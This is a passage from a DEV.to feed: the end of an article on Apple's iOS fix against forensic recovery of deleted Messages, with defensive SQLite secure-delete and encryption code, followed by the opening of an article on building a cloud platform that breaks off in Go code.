    &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# Active messages
&lt;/span&gt;    &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        SELECT 
            m.ROWID,
            m.text,
            m.date,
            h.id AS contact
        FROM message m
        LEFT JOIN handle h ON m.handle_id = h.ROWID
        ORDER BY m.date DESC
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt;

&lt;span class="c1"&gt;# Forensic tools go further — they read the raw .db file bytes
# to find SQLite 'free pages' and WAL entries containing deleted rows
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Beyond the WAL files, sophisticated tools also scan &lt;strong&gt;SQLite free pages&lt;/strong&gt; — blocks of storage that have been deallocated but not yet zeroed out. This is a known technique in digital forensics and has been documented in academic research for over a decade.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Apple Actually Fixed
&lt;/h2&gt;

&lt;p&gt;Apple addressed the issue across iOS 17.4 and subsequent point releases. The fix operates on multiple levels:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Aggressive WAL Checkpointing on Delete
&lt;/h3&gt;

&lt;p&gt;Apple modified the Messages framework to trigger a &lt;code&gt;TRUNCATE&lt;/code&gt; checkpoint on the SQLite WAL file immediately — or near-immediately — after message deletion events. This collapses the WAL file and reduces the window during which deleted data is recoverable.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Free Page Zeroing
&lt;/h3&gt;

&lt;p&gt;Apple introduced more aggressive zeroing of freed SQLite pages in sensitive database contexts. When a row is deleted and its page is freed, the page data is now explicitly overwritten rather than simply marked as available.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Secure Delete Pragma
&lt;/h3&gt;

&lt;p&gt;Evidence suggests Apple may have enabled SQLite's built-in &lt;code&gt;secure_delete&lt;/code&gt; pragma for certain sensitive databases:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- When enabled, SQLite overwrites deleted content with zeros&lt;/span&gt;
&lt;span class="n"&gt;PRAGMA&lt;/span&gt; &lt;span class="n"&gt;secure_delete&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- Now when you delete...&lt;/span&gt;
&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;12345&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;-- ...the data is overwritten immediately, not just marked deleted&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This pragma has a performance cost — writes are slower because every deletion triggers a zero-fill — but for a privacy-critical app like Messages, the tradeoff is clearly worth it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Matters for Developers
&lt;/h2&gt;

&lt;p&gt;If you're building iOS apps that handle sensitive user data — chat logs, health records, financial transactions, private notes — &lt;strong&gt;this bug should be a wake-up call about your own data handling practices&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Most developers assume that calling &lt;code&gt;delete()&lt;/code&gt; on a Core Data object or running a &lt;code&gt;DELETE&lt;/code&gt; SQL statement is sufficient. It often isn't. Here's what you should be doing:&lt;/p&gt;

&lt;h3&gt;
  
  
  Use Secure Delete in Your Own SQLite Databases
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;import&lt;/span&gt; &lt;span class="kt"&gt;SQLite3&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;openSecureDatabase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;OpaquePointer&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;OpaquePointer&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;

    &lt;span class="k"&gt;guard&lt;/span&gt; &lt;span class="nf"&gt;sqlite3_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kt"&gt;SQLITE_OK&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Error opening database"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Enable secure delete — zeros out deleted content&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"PRAGMA secure_delete = ON;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;// Use WAL mode but checkpoint aggressively&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"PRAGMA journal_mode = WAL;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;secureDeleteRecord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;OpaquePointer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;messageId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"DELETE FROM messages WHERE id = ?;"&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;OpaquePointer&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;

    &lt;span class="nf"&gt;sqlite3_prepare_v2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_bind_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;messageId&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_finalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;// Force WAL checkpoint after sensitive deletions&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"PRAGMA wal_checkpoint(TRUNCATE);"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Encrypt Sensitive Databases at Rest
&lt;/h3&gt;

&lt;p&gt;SQLite encryption libraries like SQLCipher for iOS provide full 256-bit AES encryption for your database files, meaning even a raw filesystem extraction yields nothing useful without the key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="c1"&gt;// With SQLCipher, you set an encryption key on open&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"your-derived-encryption-key"&lt;/span&gt;
&lt;span class="nf"&gt;sqlite3_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;utf8&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Don't Rely on OS-Level Deletion for PII
&lt;/h3&gt;

&lt;p&gt;For truly sensitive data, implement &lt;strong&gt;application-level secure erasure&lt;/strong&gt; before removing records:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;secureEraseAndDelete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;messageId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;OpaquePointer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Overwrite sensitive fields before deletion&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;overwriteSql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"""
        UPDATE messages 
        SET text = randomblob(length(text)),
            metadata = NULL
        WHERE id = ?;
    """&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;OpaquePointer&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_prepare_v2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;overwriteSql&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_bind_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;messageId&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_finalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;// Now delete the overwritten record&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;deleteSql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"DELETE FROM messages WHERE id = ?;"&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_prepare_v2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;deleteSql&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_bind_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;messageId&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sqlite3_finalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;sqlite3_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"PRAGMA wal_checkpoint(TRUNCATE);"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Broader Privacy Landscape
&lt;/h2&gt;

&lt;p&gt;This Apple fix sits inside a much larger cat-and-mouse game between device manufacturers, privacy advocates, and law enforcement. A few things worth noting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cellebrite and similar vendors&lt;/strong&gt; move fast. When Apple patches one extraction method, vendors actively research new vectors. The fix that cops used to rely on may be closed, but new techniques emerge regularly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Metadata often survives&lt;/strong&gt; even when message content doesn't. Timestamps, contact associations, and message counts can persist in separate database tables with different deletion behaviors.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Backups are a wildcard.&lt;/strong&gt; iCloud backups and local iTunes/Finder backups may preserve pre-patch snapshots of data. Users and developers should understand backup retention policies.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Third-party apps are not covered.&lt;/strong&gt; This fix addresses Apple's native Messages app. If you're using a secure messaging SDK in your own app, you need to implement these protections yourself.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  How to Check Your Users Are Protected
&lt;/h2&gt;

&lt;p&gt;If your app handles sensitive messaging or personal data, here's a quick developer checklist:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] &lt;strong&gt;Minimum iOS version&lt;/strong&gt;: Require iOS 17.4+ or communicate risk to users on older versions&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Database encryption&lt;/strong&gt;: Use SQLCipher or iOS Data Protection entitlements (&lt;code&gt;NSFileProtectionComplete&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Secure delete pragma&lt;/strong&gt;: Enabled for any database containing PII&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;WAL checkpointing&lt;/strong&gt;: Triggered after batch deletions or user-initiated data erasure&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Backup exclusion&lt;/strong&gt;: Mark sensitive files with &lt;code&gt;NSURLIsExcludedFromBackupKey&lt;/code&gt; where appropriate&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Key management&lt;/strong&gt;: Encryption keys derived from user credentials, not hardcoded
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Exclude sensitive database from iCloud backup&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;fileURLWithPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;databasePath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;resourceValues&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;URLResourceValues&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;resourceValues&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isExcludedFromBackup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setResourceValues&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resourceValues&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Apple's fix is a meaningful step forward for user privacy, and the fact that it directly addresses a technique that cops used to extract supposedly deleted messages signals that Apple takes the integrity of deletion seriously. For end users, updating to the latest iOS release is the single most important action they can take.&lt;/p&gt;

&lt;p&gt;For developers, the lesson is deeper: &lt;strong&gt;deletion is not a security control by itself&lt;/strong&gt;. Database internals, journaling mechanisms, and OS-level caching all create windows where data can be recovered long after the user expected it to be gone. Building truly private applications means thinking at every layer of the stack.&lt;/p&gt;

&lt;p&gt;Keep your dependencies updated, audit your data lifecycle, and treat sensitive user data with the same care you'd want applied to your own.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Found this useful? Follow me here on DEV for more deep-dives into iOS security, mobile architecture, and privacy engineering. Drop a comment below if you've implemented secure delete patterns in your own apps — I'd love to hear what approaches have worked for your team.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ios</category>
      <category>privacy</category>
      <category>apple</category>
    </item>
    <item>
      <title>I Am Building a Cloud: Lessons from Designing Your Own Cloud Infrastructure from Scratch</title>
      <dc:creator>佐藤玲</dc:creator>
      <pubDate>Thu, 23 Apr 2026 14:46:32 +0000</pubDate>
      <link>https://dev.to/_d916d77be80d376e49d8e/i-am-building-a-cloud-lessons-from-designing-your-own-cloud-infrastructure-from-scratch-2j79</link>
      <guid>https://dev.to/_d916d77be80d376e49d8e/i-am-building-a-cloud-lessons-from-designing-your-own-cloud-infrastructure-from-scratch-2j79</guid>
      <description>&lt;h1&gt;
  
  
  I Am Building a Cloud: Lessons from Designing Your Own Cloud Infrastructure from Scratch
&lt;/h1&gt;

&lt;p&gt;Everybody uses the cloud. Almost nobody builds one.&lt;/p&gt;

&lt;p&gt;Six months ago, I made a decision that most engineers quietly file under "interesting but insane": I started building my own cloud platform. Not a toy. Not a weekend hack. A functional, multi-tenant infrastructure platform capable of spinning up compute, managing storage, and exposing APIs — the kind of thing you'd recognize if you squinted at AWS or GCP long enough.&lt;/p&gt;

&lt;p&gt;This article is a living journal of that journey. Whether you're a curious developer, a startup thinking about infra costs, or someone who just wants to understand what's actually happening underneath the clouds you rent every day — this one's for you.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Build a Cloud?
&lt;/h2&gt;

&lt;p&gt;Before we get into the architecture, let me answer the obvious question: &lt;em&gt;why?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The honest answers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cost at scale.&lt;/strong&gt; Renting compute forever is expensive. Owning hardware and orchestrating it yourself, at the right scale, can be 30–60% cheaper.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Learning depth.&lt;/strong&gt; You don't truly understand distributed systems until you've been paged at 2am because your control plane split-brained.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data sovereignty.&lt;/strong&gt; Some workloads cannot leave your jurisdiction. Building your own cloud solves that.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pure curiosity.&lt;/strong&gt; Some of us just need to know how things work.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If none of those resonate, that's fine — rent your infra from Amazon like a sensible person. But if even one of them does, read on.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Architecture: What a "Cloud" Actually Is
&lt;/h2&gt;

&lt;p&gt;Strip away the marketing, and a cloud platform is composed of a few core layers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────┐
│         Control Plane           │  ← API, Auth, Scheduler
├─────────────────────────────────┤
│         Compute Layer           │  ← VMs, Containers
├─────────────────────────────────┤
│         Network Layer           │  ← SDN, VPCs, Load Balancers
├─────────────────────────────────┤
│         Storage Layer           │  ← Block, Object, File
├─────────────────────────────────┤
│         Physical Hardware       │  ← Servers, Switches, Power
└─────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you're building a cloud, you're essentially engineering every one of those layers and making them talk to each other reliably, securely, and at scale.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 1: The Control Plane
&lt;/h2&gt;

&lt;p&gt;The control plane is the brain. It's the API that users and services talk to when they say "give me a VM" or "create a storage bucket."&lt;/p&gt;

&lt;p&gt;I built mine in Go, using a RESTful API backed by etcd for consistent distributed state. Here's a simplified version of the instance creation handler:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;api&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s"&gt;"encoding/json"&lt;/span&gt;
    &lt;span class="s"&gt;"net/http"&lt;/span&gt;
    &lt;span class="s"&gt;"github.com/google/uuid"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="n"&gt;CreateInstanceRequest&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Name&lt;/span&gt;     &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="s"&gt;`json:"name"`&lt;/span&gt;
    &lt;span class="n"&gt;Image&lt;/span&gt;    &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="s"&gt;`json:"image"`&lt;/span&gt;
    &lt;span class="n"&gt;Flavor&lt;/span&gt;   &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="s"&gt;`json:"flavor"`&lt;/span&gt;
    &lt;span class="n"&gt;Region&lt;/span&gt;   &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="s"&gt;`json:"region"`&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="n"&gt;Instance&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
